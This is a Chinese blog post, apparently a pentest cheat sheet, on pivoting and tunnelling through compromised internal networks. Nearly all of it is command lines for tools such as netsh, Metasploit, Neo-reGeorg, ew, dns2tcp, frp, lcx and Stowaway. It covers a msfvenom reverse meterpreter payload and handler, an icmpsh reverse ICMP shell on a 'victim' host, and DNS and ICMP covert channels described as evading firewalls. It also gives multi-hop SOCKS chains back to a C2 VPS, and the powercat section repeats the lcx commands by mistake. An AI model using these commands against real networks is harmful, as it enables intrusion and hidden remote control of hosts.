内网安全-代理隧道

代理隧道

1.netsh

端口转发

netsh interface portproxy add v4tov4 listenport=本地bind端口 connectaddress=目标服务器(IP) connectport=目标的端口

netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.10.10 connectport=80

查看规则

netsh interface portproxy show all

删除规则

netsh interface portproxy delete v4tov4 listenport=7777

删除所有规则

netsh interface portproxy reset

msf反弹shell

填写能够直接跟我们交互的域内机器ip
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.80 lport=4455 -f exe > r.exe
端口转发
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=192.168.30.135 connectport=4455

> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set lhost 192.168.30.135
> set lport 4455
> exploit

2.Metasploit Portfwd

把自己的3389转到192.168.0.142的3389
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.0.142
查看所有转发
portfwd list
删除所有转发
portfwd flush

3.Neo-reGeorg

reGeorg是一个能穿透内网的工具,基于socks5而且支持的脚本众多,可以说是内网穿透神奇,但是作为使用率众多的软件,杀软都会拦截,使用还需要做免杀处理现有一个项目是reGeorg修改而来,而且做了加密处理,脚本也免杀项目地址:https://github.com/L-codes/Neo-reFeorg

服务器运行
python3 neoreg.py generate -k moonsec

在neoreg_server目录下生成了很多脚本,这些脚本都可以拿来做转发  然后选择对应的脚本上传到B服务器的Web目录下,访问一下没有报错的话就是正常的

python3 neoreg.py -k moonsec -u http://192.168.0.155/tunnel.aspx

此时我们设置socks5代理127.0.0.1:1080就是B的网络,那么也就可以顺利访问到C网段

4.ssh

搭建socks5

ssh -qTfnN -D 7070 root@8.210.55.154

● -C:压缩模式
● -D:本地的端口
● -q:安静模式
● -T:禁止远程分配终端
● -n:关闭标准输入
● -N:不执行远程命令
● -f:后台运行

本地转发

ssh -L 6666:10.10.10.155:80 moonsec@192.168.0.139 -fN
ssh -L 3307:localhost:3306 moonsec@192.168.0.139 -fN

此时访问本地的6666端口就能够访问到10.10.10.155的80端口

5.ew

由于太牛逼了 作者不更新了

GitHub - idlefire/ew: 内网穿透(跨平台)

本地开启socks服务
ew_for_Win.exe -s ssocksd -l 8888

服务端
ew_for_Win.exe -s rcsocks -l 1080 -e 1024
客户端连接c2
ew_for_Win.exe -s rssocks -d 10.10.10.153 -e 1024

三层网络内网环境

在vps上把1080端口的请求转发给888端口
ew -s rcsocks -l 1080 -e 888

A主机把B主机的999端口和vps的888端口连接
ew -s lcx_slave -d C2IP -e 888 -f 10.10.10.10 -g 999

B主机把999端口的数据发到777端口
ew -s lcx_listen -l 999 -e 777

C主机启动socks5服务并反弹到B主机的777端口上
ew -s rcsocks -d B主机ip -e 777

6.Tunna

感觉Neo-reGeorg是他的升级版

GitHub - SECFORCE/Tunna: Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments.

通过192.168.0.139/conn.aspx将10.10.10.155的3389端口转发到本地的4321端口

python2 proxy.py -u http://192.168.0.139/conn.aspx -l 4321 -a 10.10.10.155 -r 3389 -v

7.ptunnel

以前叫做Ptunnel是老牌软件,现在更新名字为pingtunnel

新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发)

老版本介绍:GitHub - utoni/ptunnel-ng: Tunnel TCP connections through ICMP.

yum -y install byacc
yum -y install flex bison
#安装libpcap依赖库 
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel 
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

客户端设置密码
ptunnel -x 1234

服务端连接
ptunnel -p 192.168.0.137 -lp 8080 -da 192.168.0.144 -dp 80 -x 1234

● -p:服务端IP
● -lp:本地端口
● -da:目标的IP
● -dp:目标的端口
● -x:密码

8.dns2tcp

dnscat2 iodine 也是类似软件

DNS是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在网络世界中DNS是必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现远控控制、文件传输等操作dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发它分为两个部分,服务端和客户端服务端运行在Linux服务器上客户端可以运行在Linux和Windows上编译完成在服务端的可执行文件名称为dns2tcpd,在客户端上的名称为dns2tcpc

配置一个域名,增加一条A记录和NS记录
此时A记录是dns.xxx.com指向的121.5.51.111(c2),所以就会访问到121.5.51.111服务器

c2使用ubantu18
apt-get update
sudo apt-get install dns2tcp
修改dns2tcp配置文件/etc/dns2tcpd.conf
● listen=127.0.0.1修改成listen=0.0.0.0
● user = root
● key = moonsec
● domain = dns2tcp.8sq.cc
这个domain就是NS解析的记录,然后就可以保存了
服务端启动
dns2tcpd -f /etc/dns2tcpd.conf -F -d 3
如果出现错误可能端口被占用,查出端口的进程id然后使用kill结束就可以启动了
netstat -anp | grep 53
kill 进程ID
阿里云的话会有一个服务占用,并且Kill不掉,阿里云默认服务关闭
systemctl stop systemd-resolve
再次启动服务端

客户端连接
dns2tcpc -r ssh -k moonsec -z dns2tcp.8sq.cc 121.5.51.000 -l 8888 -c -d 3
● -k:密码
● -z:domain
监听本地的8888端口
此时Xshell连接本地的8888端口就可以连接到B的ssh了
连接上来之后点击下面的转移规则

类型为Dynamic 然后我们就可以代理127.0.0.1:1080

9.frp

Frp是一个可用于内网穿透的高性能反向代理应用,支持tcpudp协议,为http和https应用协议提供了额外的能力,且尝试性支持了点对点穿透

详细说明:frp/README_zh.md at master · fatedier/frp · GitHub

下载地址:Releases · fatedier/frp · GitHub

wget https://github.com/fatedier/frp/releases/download/v0.33.0/frp_0.33.0_linux_amd64.tar.gz
tar zxvf frp_0.33.0_linux_amd64.tar.gz
mv frp_0.33.0_linux_amd64 frp
cd frp

修改frps.ini
bind_port=7000
token = moonsec2020

启动
./frps -c frps.ini

下载和操作系统对应的Frp版本,然后修改frpc.ini配置文件
修改server_addr为我们服务器的IP地址,端口是7000,如果服务器端没有修改这里也不用修改
并且添加token参数
下面ssh的意思是访问服务器的6000端口,就会映射到这个客户端的22端口
我们添加一个80端口的映射
[web]
type=tcp
local_ip=127.0.0.1
local_port=80
remote_port=7777
 `

添加80端口映射
这样我们访问服务器端的7777端口就会访问到客户端127.0.0.1的80端口
实现了把C的80端口映射给B的7777

客户端运行
frpc.exe -c frpc.ini

10.nps

GitHub - ehang-io/nps: 一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。a lightweight, high-performance, powerful intranet penetration proxy server, with a powerful web management terminal.

使用参考

nps/README_zh.md at master · ehang-io/nps · GitHub

11.icmpsh

GitHub - bdamele/icmpsh: Simple reverse ICMP shell

可以低权限运行,不需要管理员权限

apt-get install python-impacket
//关闭ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1

//开启ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=0

//攻击机上执行(KALI或者VPS)
python icmpsh_m.py <攻击机IP> <内网出网口的公网地址>(可能为内网防火墙的地址,可通过TcpDump 监听ICMP ,在受害主机上进行PING VPS 从而得知,两者要能互相PING通)
如:
python icmpsh_m.py 192.168.55.3 192.168.55.16

//靶机上执行
icmpsh.exe -t 攻击机IP -d 500 -s 128
如:
icmpsh.exe -t 192.168.55.3 -d 500 -s 128

12.lcx

lcx是一个基于Socket套接字实现的端口转发工具,有windows和linux两个版本。windows版本为lcx.exe,Linux版本为portmap。

一个正常的socket隧道必须具备两端:一段为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接

将目标机器的3389端口数据转发到VPS的4444端口上
lcx.exe -slave 110.40.137.64 4444 127.0.0.1 3389

将vps上4444端口的流量转发到5555端口上
lcx.exe -listen 4444 5555

此时连接VPS的5555端口就相当于连接目标机器的3389端口

13.powercat

PowerCat就是powershell版本的nc。

powercat下载地址:GitHub - besimorhino/powercat: netshell features all in version 2 powershell

将目标机器的3389端口数据转发到VPS的4444端口上
lcx.exe -slave 110.40.137.64 4444 127.0.0.1 3389

将vps上4444端口的流量转发到5555端口上
lcx.exe -listen 4444 5555

此时连接VPS的5555端口就相当于连接目标机器的3389端口

14.Stowaway

GitHub - ph4ntonn/Stowaway: 👻Stowaway -- Multi-hop Proxy Tool for pentesters

#服务端启动
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32
#客户端
./stowaway_macos_x64_agent -c <VPS IP地址>:61032 -s aab32
#建立连接后,在服务端选中上线的节点,并且执行socks命令即可。
use 0
# socks 端口 用户名 密码
socks 55667 username password
此时使用 socks5://username:password@<VPS IP>:55667 就可以代理到被控端的内网了。

多级代理

1.frp

服务端(外网VPS)配置frps.toml和一级代理 一致

bindPort = 49378
auth.token = "helloxx.6haha7789"
#port,token自定义 保持客户端与服务端一致即可

由于客户端1(内网机器A)需要充当中转作用,即对于外网VPS来说是客户端,对于内网机器B来说是服务端,因此存在有2份配置文件,分别启动客户端和服务端。

其中服务端配置 frps.toml 如下:

bindPort = 49378

客户端配置frpc.toml如下:

serverAddr = "1.2.3.4" # 改为 VPS 的 IP 地址
serverPort = 49378
auth.token = "helloxx.6haha7789"

[[proxies]]
name = "plugin_socks5"
type = "tcp"
remotePort = 60051
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

[[proxies]]
name = "portforward"
type = "tcp"
localIP = "127.0.0.1"
remotePort = 60052 # 别和上方的remotePort冲突就行
localPort = 6000 # 把本地的6000端口映射出去

接下来在客户端2(内网机器B)上配置 frpc.toml 如下,和客户端1(内网机器A)建立隧道。

serverAddr = "1.2.3.5" # 改为 内网机器A 的地址
serverPort = 49378

[[proxies]]
name = "plugin_socks5_two"
type = "tcp"
remotePort = 6000 # 修改为上面的 localPort,表明通过 内网机器A 的该端口可以访问到当前的内网
[proxies.plugin]
type = "socks5"
username = "0HDFt16cLQJCB"
password = "JTN276Gp1A"

这样一套启动下来后,通过外网VPS socks5://<账号>:<密码>@<外网VPS IP地址>:60052 就可以访问到客户端2(内网机器B)的内网了。

2.Stowaway

#c2执行
./stowaway_linux_x64_admin --heartbeat -l 61032 -s aab32

#内网机器A上执行
./stowaway_linux_x64_admin -c <VPS IP地址>:61032 -s aab32

#这时候外网VPS和内网机器A已经建立连接了,进入内网机器A的node节点,执行listen监听端口
use 0
listen

#此时再在内网机器B上执行如下命令和内网机器A建立连接:
./stowaway_macos_x64_agent -c <内网机器A IP地址>:23123 -s aab32

#执行后可以在外网VPS上看到内网机器B已经上线,这个时候进入该节点再执行socks命令开启代理即可:
use 1
socks 55667 username password

#此时即可通过 socks5://username:password@<VPS IP>:55667 访问到内网机器B的内网了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值